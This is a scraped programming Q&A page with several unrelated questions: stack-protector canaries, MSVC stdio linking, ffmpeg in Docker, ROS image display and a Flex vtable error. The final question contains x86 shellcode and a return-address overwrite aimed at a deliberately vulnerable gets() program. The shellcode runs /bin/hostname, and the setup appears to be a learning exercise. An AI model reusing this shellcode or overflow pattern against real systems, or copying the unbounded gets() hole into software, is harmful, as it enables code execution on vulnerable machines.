stack protector does not throw error with strcpy() - stack

I'm testing an example of stack protector from ARM reference document (https://developer.arm.com/documentation/101754/0616/armclang-Reference/armclang-Command-line-Options/-fstack-protector---fstack-protector-all---fstack-protector-strong---fno-stack-protector), which has code like:
// main.c
#include <stdio.h>
#include <stdlib.h>
void *__stack_chk_guard = (void *)0xdeadbeef;
void __stack_chk_fail(void)
{
fprintf(stderr, "Stack smashing detected.\n");
exit(1);
}
void get_input(char *data);
char main(void)
{
char buffer[8] = { 0 };
char *overflowed = &buffer[8];
get_input(buffer);
// =============================================================
// The following line is added by me. This triggers stack smashing,
// but strcpy() should also trigger stack smashing detect.
// *overflowed = 0xFF;
printf("buffer: %s\n", buffer);
printf("buffer addr: 0x%08x\n", buffer[8]);
// =============================================================
return buffer[0];
}
// get.c
#include <string.h>
void get_input(char *data)
{
strcpy(data, "01234567");
}
I think this code intends to make stack overflow by accessing extra memory(buffer[8]) for NULL character using strcpy(). But the actual behavior is that no messages are thrown at all.
➜ stack_protector gcc main.c get.c -o test -fstack-protector-all
➜ stack_protector ./test
buffer: 01234567
buffer addr: 0x00000000
I checked that stack protector cannot detect smashing error if the stack size is smaller than 8 bytes, but this is not the case I think. Is there anything I am missing?

I stepped through the code with a debugger and figured out the stack guard value was not set properly. Its lower 8bits are always set to zero, which results in detection miss.
Since fs:0x28 register is set from the operating system, I reported this to my Linux distro's bug tracker.
--
(Added) I looked into Kernel code and there is code like:
/*
* On 64-bit architectures, protect against non-terminated C string overflows
* by zeroing out the first byte of the canary; this leaves 56 bits of entropy.
*/
#ifdef CONFIG_64BIT
# ifdef __LITTLE_ENDIAN
# define CANARY_MASK 0xffffffffffffff00UL
# else /* big endian, 64 bits: */
# define CANARY_MASK 0x00ffffffffffffffUL
# endif
#else /* 32 bits: */
# define CANARY_MASK 0xffffffffUL
#endif
Basically, initializing the first byte of the canary to zero is intended by kernel code. This is a kind of boundary that secures canary value from printing out. Due to \0 character, we can prevent canary value from printing out and this is the reason that I cannot reproduce stack overflow error with NULL character using strcpy().

Related

VS2019 and _NO_CRT_STDIO_INLINE, how to explain this weirdo?

Please check my short code below.
pwrapper.h
#include <stdio.h>
#include <stdarg.h>
extern"C" int mm_printfA(const char *fmt, ...);
extern"C" int mm_printfW(const wchar_t *fmt, ...);
pwrapper.cpp
#include "pwrapper.h"
int mm_printfA(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
int ret = vprintf(fmt, args);
va_end(args);
return ret;
}
int mm_printfW(const wchar_t *fmt, ...)
{
va_list args;
va_start(args, fmt);
int ret = vwprintf(fmt, args);
va_end(args);
return ret;
}
main.cpp
#include "pwrapper.h"
// cl /MT /D _NO_CRT_STDIO_INLINE main.cpp pwrapper.cpp
void main()
{
mm_printfA("What is %d?\n", 123);
}
#if 0
void usedull()
{
vprintf(NULL, NULL);
vwprintf(NULL, NULL);
}
#endif
For some reason, I need to compile it with _NO_CRT_STDIO_INLINE, like this:
cl /MT /D _NO_CRT_STDIO_INLINE main.cpp pwrapper.cpp
But link stage fails saying unresolved external symbol vwprintf and vprintf .
A very weird workaround I find out is: Enable the usedull() function body -- although never be called, and, link through pwrapper.lib, using bb.bat below:
#setlocal EnableDelayedExpansion
#set CFLAGS=/D _NO_CRT_STDIO_INLINE
cl /nologo /c /MT %CFLAGS% pwrapper.cpp
#if errorlevel 1 exit /b 4
lib /nologo /out:pwrapper.lib pwrapper.obj
#if errorlevel 1 exit /b 4
cl /nologo /c /MT main.cpp
#if errorlevel 1 exit /b 4
link /nologo main.obj pwrapper.lib
#if errorlevel 1 exit /b 4
Well, this really works, but why?
This is not a pleasant workaround, because each exe project needs to include a "useless" usedull() function. So, is there any better way?
I really can't tell why this workaround works, an explanation of it is very welcome.
==== Some Clarification ====
There were two main.cpp in my original post. Let me name them separately for later reference in case someone would bother to answer this weird question.
main.0.cpp refers to the one without usedull().
main.1.cpp refers to the one with usedull().
In this question, I use VC++ headers and libs for application(not for kernel), and
I compile main.0.cpp and main.1.cpp without _NO_CRT_STDIO_INLINE.
I always compile pwrapper.cpp with _NO_CRT_STDIO_INLINE.
Whether having pwrapper.obj go through pwrapper.lib produce the same result in this issue.
In short:
compiling pwrapper.cpp with -D _NO_CRT_STDIO_INLINE tells the compiler you are going to provide your own implementation of vprintf and vwprintf at link time, and
compiling main.cpp without -D _NO_CRT_STDIO_INLINE tells the compiler to include implementations of vprintf and vwprintf which are used at link time to satisfy both the references from usedull and mm_printfA/mm_printfW
so, this particular combination works to resolve all undefined symbols at link time. See below for more discussion however.
Discussion
In stdio.h, vprintf (which I'll focus on, but vwprintf is configured in the same way) is defined like so:
_Check_return_opt_
_CRT_STDIO_INLINE int __CRTDECL vprintf(
_In_z_ _Printf_format_string_ char const* const _Format,
va_list _ArgList
)
#if defined _NO_CRT_STDIO_INLINE
;
#else
{
return _vfprintf_l(stdout, _Format, NULL, _ArgList);
}
#endif
Note that
if _NO_CRT_STDIO_INLINE is defined, this becomes a forward declaration
whereas if it is not defined, the full body is included in the compilation of the including translation unit.
Additionally, in corecrt_stdio_config.h whether _NO_CRT_STDIO_INLINE is defined determines the value of _CRT_STDIO_INLINE; if it is defined, _CRT_STDIO_INLINE is defined as empty, otherwise it is defined as __inline.
Putting these together,
if _NO_CRT_STDIO_INLINE is not defined, these functions will be candidates for inline expansion,
otherwise a separate implementation of that function will need to be provided at link time.
Default Compilation (no /O1, /O2, no _NO_CRT_STDIO_INLINE)
The above works with the specific compile and link invocations you are using, as without optimization the compiler will simply include the function body in the compilation of main.1.obj. You can see this using dumpbin; running dumpbin -symbols main.1.obj | find "| vprintf" prints:
01D 00000000 SECT8 notype () External | vprintf
showing that main.1.obj provides vprintf as an externally available symbol.
Checking pwrapper.obj, we get:
00A 00000000 UNDEF notype () External | vprintf
showing that vprintf is undefined in this object file, and will need to be provided at link time.
Optimisation for Inline Expansion
However, if we change the optimisation option for inline expansion, we get different results. Using even the first level of optimisation (-Ob1, included in -O1 and -O2) like so:
cl -c -Ob1 main.1.cpp
causes the compiler to incorporate the body of vprintf directly into usedull, and remove the separate implementation of vprintf, which can be confirmed using dumpbin. So, as you would now expect, attempting to link main.1.obj and pwrapper.obj together will once again give your original error:
pwrapper.obj : error LNK2019: unresolved external symbol vwprintf referenced in function mm_printfW
pwrapper.obj : error LNK2019: unresolved external symbol vprintf referenced in function mm_printfA
main.exe : fatal error LNK1120: 2 unresolved externals
Multiple Implementations?
So, following on from that it is apparent that compiling both files with -D _NO_CRT_STDIO_INLINE will fail as there will be no implementations of the relevant methods. What about if both are compiled without this definition?
If we check the object files, both have defined symbols for vprintf:
01D 00000000 SECT8 notype () External | vprintf
and:
01A 00000000 SECT7 notype () External | vprintf
which under normal circumstances would result in errors due both to multiple definitions of a symbol and violations of the One Definition Rule. However, when performing inline expansion, the compiler and linker have your back. As per 2:
Rather than expand an inline function defined in a header file, the compiler may create it as a callable function in more than one translation unit. The compiler marks the generated function for the linker to prevent one-definition-rule (ODR) violations.

ffmpeg and docker result in averror_invaliddata

I am running ffmpeg within a docker container, and I am having a problem.
I have a wittled-down debug program (listing below) that simply opens (and reads) a test.mp4 I open the file with fopen(), read and print the first 32 bytes. The values agree and are correct whether running in docker or locally. (ie. the file is accessible and readable in the docker container) However, when it gets to avformat_open_input():
Running locally: Works just fine. (and the real program fully decodes it)
Running in docker container: The call to avformat_open_input() fails with AVERROR_INVALIDDATA. This is with test.mp4 in the docker directory.
I'm a bit lost at this point. I appreciate any ideas.
test program listing: =========================================
#include <stdio.h>
extern "C" {
#include <libavformat/avformat.h>
}
int main (int argc, char **argv)
{
int erc=0;
AVFormatContext* srcFmtCtx = NULL;
const char* srcFile = "test.mp4";
// Simple read/echo
FILE *f = fopen(srcFile, "rb");
printf("fopen() %s 0x%lx\n", srcFile, (unsigned long)f);
for (int i=0; i<4; i++) {
long val;
erc = fread(&val, 1, sizeof(long), f);
printf("[%d]0x%lx ", i, val);
}
printf("\n");
fclose(f);
// Open source with ffmpeg libavformat utils
printf("avformat_open_input(): %s\n", srcFile);
if ((erc = avformat_open_input(&srcFmtCtx, srcFile, NULL, NULL)) < 0) {
printf("avformat_open_input(): Returned AvError: %d\n", erc);
exit(1);
}
printf("avformat_open_input(): Returned normally\n");
avformat_close_input(&srcFmtCtx);
}
It seems my problem is one of version mismatch.
My docker container is constructing a ubuntu:18.10 image (latest available)
That image provides an ffmpeg v3.3.5 (or so), libavformat v57.83.100
avformat_version(): 3756900 Ident: Lavf57.83.100
My local ffmpeg installation is v4.0, libavformat v58.12.100
avformat_version(): 3804260 Build: 3804260 Ident: Lavf58.12.100
One important difference between those versions is that avformat::av_register_all() is deprecated, and no longer used. I based my code on the new sources, and did not have that call. However, the older versions of libavformat requires it. Thus the failure in the docker container, and not in my local environment.

ROS Image subscriber - window popup does not appear

I am following image subscribe tutorial on official ROS page. when I run my_subscriber no window popup appears. I type -
rosrun image_transport_tutorial my_subscriber
output is -
init done
opengl support available
And then nothing happens. (even the output "init done" is unexplained because there is not output line in my_subscriber.cpp)
I am following this tutorial - ROS tutorial
I have roscore and rosrun image_transport_tutorial my_publisher pathtofile already running in dofferent terminals.
I checked that publisher is publishing by running command
rostopic list -v
my_subscriber file has the following contents -
#include <ros/ros.h>
#include <ros/ros.h>
#include <image_transport/image_transport.h>
#include <opencv2/highgui/highgui.hpp>
#include <cv_bridge/cv_bridge.h>
#include <stdio.h>
void imageCallback(const sensor_msgs::ImageConstPtr& msg)
{
try
{
cv::imshow("view", cv_bridge::toCvShare(msg, "bgr8")->image);
}
catch (cv_bridge::Exception& e)
{
ROS_ERROR("Could not convert from '%s' to 'bgr8'.", msg->encoding.c_str());
}
}
int main(int argc, char **argv)
{
std::cout<<"kapil";
ros::init(argc, argv, "image_listener");
ros::NodeHandle nh;
cv::namedWindow("view");
cv::startWindowThread();
image_transport::ImageTransport it(nh);
image_transport::Subscriber sub = it.subscribe("camera/image", 1, imageCallback);
ros::spin();
cv::destroyWindow("view");
}
Solved : I added waitKey function in the try block as suggested in one of the answers.
cv::waitKey(30);
According to the comment to this answer, using cv::startWindowThread() does not always work. Maybe this is the issue in your case.
Try to add cv::waitKey(10) after cv::imshow instead. This will wait for some key press for 10 milliseconds, giving the window time to show the image.
(This always seemed to me like a dirty hack, but it is the common way to show images in OpenCV...)

Flex C++ VTable Error

I am using Flex and Bison to create a compiler. As I am trying to create an AST (Abstract Syntax Tree) for my program, I need to port it to C++. So far I have been successful, until a encountered a rather obscure error from my compiler:
Kraken.o: In function Kraken::FlexScanner::FlexScanner()':
Kraken.cc:(.text._ZN6Kraken11FlexScannerC2Ev[_ZN6Kraken11FlexScannerC5Ev]+0x26): undefined reference to vtable for Kraken::FlexScanner'
Kraken.o: In function Kraken::FlexScanner::~FlexScanner()':
Kraken.cc:(.text._ZN6Kraken11FlexScannerD2Ev[_ZN6Kraken11FlexScannerD5Ev]+0xb): undefined reference to vtable for Kraken::FlexScanner'
Here is all the relevant code:
Kraken.cc:
#include "KrakenScanner.hh"
#include "KrakenParser.hh"
int main(int argc, char * argv[]) {
Kraken::Parser parser;
return parser.parse();
}
KrakenScanner.hh:
#ifndef KRAKENSCANNER_HH_
#define KRAKENSCANNER_HH_
#if ! defined(yyFlexLexerOnce)
#include <FlexLexer.h>
#endif
#undef YY_DECL
#define YY_DECL int Kraken::FlexScanner::yylex()
#include "parser.hh"
namespace Kraken {
class FlexScanner : public yyFlexLexer {
public:
int yylex(Kraken::BisonParser::semantic_type* lval);
private:
int yylex();
Kraken::BisonParser::semantic_type* yylval;
};
}
#endif /* KRAKENSCANNER_HH_ */
KrakenScanner.cc:
#include "KrakenScanner.hh"
int Kraken::FlexScanner::yylex(Kraken::BisonParser::semantic_type* lval) {
yylval = lval; return yylex();
}
Makefile:
OBJS := Kraken.o parser.o scanner.o KrakenScanner.o KrakenParser.o
%.cc: %.y
bison -o $(#:%.o=%.d) $<
%.cc: %.l
flex -o$(#:%.o=%.d) -i $<
all: $(OBJS)
g++ -okraken $(OBJS)
Kraken.o: Kraken.cc KrakenScanner.o KrakenParser.o
KrakenScanner.o: KrakenScanner.hh KrakenScanner.cc parser.o
parser.o: parser.hh parser.cc
parser.cc: parser.y
scanner.o: scanner.cc
scanner.cc: scanner.l
KrakenParser.o: KrakenParser.hh KrakenParser.cc KrakenScanner.o`
I don't know if this will help, but FlexLexer.h defines the classes FlexLexer and yyFlexLexer. FlexLexer declares just a virtual destructor, and yyFlexLexer defines both a constructor and destructor. Also, when I attempt to overload the constr. and destr. in Kraken.cc, I get an error saying that the two are "implicitly defined".
Try a clean rebuild (rm *.o) and recompile. The compiler is supposed to generate this stuff automatically. Some compilers have special non-portable magic to influence v-table linking, but I don't see anything like that in your code.
Also, I see in your makefile that you've written a rule for linking with g++, but you haven't written any rule for compilation. So make is using its built-in rules, which might by the C++ compiler provided by your OS, not g++.
Another thing is that makefile rules should put the primary source first. For example:
wrong:
KrakenScanner.o: KrakenScanner.hh KrakenScanner.cc parser.o
right:
KrakenScanner.o: KrakenScanner.cc KrakenScanner.hh
Finally, object files aren't used to build other object files, only during linking.
First off, that error message is from your linker, not your compiler. It looks like you aren't linking in KrakenScanner.o. It also helps to apply the name demangler for your compiler to your compiler/linker error output.
What compiler are you using?

Buffer Overflow-Not getting the Correct output

the Shell code print the hostname(bin/hostname). but when i execute the code its shows me the the path in reverse order but not printing the HOSTNAME.
I am actually doing the buffer over flow .
I am using freebsd intel machine.
this is my code
can you figure out please where is the error
//Prog 1
#include<stdio.h>
main()
{
char shellcode[]= “\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62
\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x3b
\x50\xcd\x80”;
int i;
char buf[108];
i=strlen(shellcode);
printf(“%d”,i);
strcpy(buf,shellcode);
for(i=36;i<104:i++)
{
buf[i]='b';
}
buf[104]='\x2c';
buf[105]='\xfa';
buf[106]='\xbf';
buf[107]='\xbf';
printf(“%s”,buf);
return 0;
}
The Above program is injected into below program ...... so it creates the bufferover flow and print the hostname
#include <stdio.h>
int
main (int argc, char **argv){
char buf[100];
printf("Please Enter your Name");
fflush(stdout);
gets(buf);
printf("Hello %s \n",buf);
}
void notcalled(void){
//puts("cccc");
}
you are defining int I; and using i
the for is using a :i++, instead of a ;i++
strncpy() is missing the size_t param too
There is no buffer overflow in this sample code. You are simply printing the shell code, instead of executing it.
The code as posted doesn't even compile, due to things like quotes, i vs I problem, : instead of ; and strncpy needing 3 arguments (possibly more errors).
The shell code may be correct for freebsd, I can't check that. It definitely isn't correct for linux, though.
Apparently you are still not triggering code execution, even though now I see where you have your buffer overflow. Note however that overflowing the buf variable is trying to overwrite the return address for main, so it should print the text in any case. Also, the compiler may have generated a different stack layout than what you expect, or maybe your stack is not executable (although you should get a segfault in this case).
Use a debugger to single step through the code, beginning with the "return" statement in main and see what is happening. You will soon reach a RET instruction which should pop the starting address of your shellcode into the instruction pointer, effectively jumping to it. I suspect that is not happening for some reason.

Resources